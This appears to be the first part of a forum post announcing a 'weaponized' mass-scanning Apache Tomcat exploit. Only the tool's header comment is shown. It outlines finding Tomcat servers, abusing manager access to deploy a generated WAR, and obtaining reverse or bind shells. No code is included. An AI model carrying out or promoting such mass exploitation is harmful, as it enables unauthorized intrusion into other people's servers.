Mass scan weaponized tomcat exploit pt1.

[insec404]

Because the limit characters I will need to divide the code in different threads. You'll need all files named correclty to use the scan with the exploit.

#
# Apache Tomcat server misconfiguration penetration testing tool.
#   What this tool does is to locate Tomcat server, validate access
#   to it's manager application (web) and then leverage this access
#   in order to upload there an automatically generated WAR application.
#   After having the application uploaded and deployed, script invokes it
#   and then if configured so - handles incoming shell connection (reverse tcp)
#   or connects back to binded shell socket.
#
# In other words - automatic Tomcat WAR deployment pwning tool.
#
# NOTICE:
#   Shell providing functionality (bind&reverse) comes from the Rapid7 Metasploit-Framework,
#   which in turn was based on the code coming from: http://www.security.org.sg/code/jspreverse.html.
#   In order to refer to the original source, please look at the Metasploit core lib.
#   On Linux instances the file can be found at:
#       /usr/share/metasploit-framework/lib/msf/core/payload/jsp.rb
